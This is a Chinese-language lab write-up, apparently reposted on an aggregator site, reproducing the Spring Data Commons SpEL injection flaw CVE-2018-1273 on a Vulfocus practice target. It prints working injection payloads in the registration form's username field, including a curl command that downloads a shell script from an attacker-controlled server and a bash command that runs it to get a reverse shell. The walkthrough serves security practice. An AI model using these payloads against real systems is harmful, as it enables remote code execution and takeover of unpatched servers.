微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Vulfocus靶场 | spring 代码执行 CVE-2018-1273

漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞复现

访问 /user

随便填写,用户注册

 

 

把最后一行改成payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令代码")]=&password=&repeatedPassword=

想直接ls发现不行

想反弹Shell也不行

 

把shell脚本写成sh文件,开启一个http服务,让它去下载执行

 

后执行

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/xwl.sh http://vpsip:port/xwl.sh")]=&password=&repeatedPassword=

一开始试了weget,确实下载了,但是不知道怎么不行,所以用了curl

 

下载成功后

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/xwl/sh")]=&password=&repeatedPassword=  

 

 

之前weget的也确实下载上了,但是没反弹回来(可能操作有误)

 

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐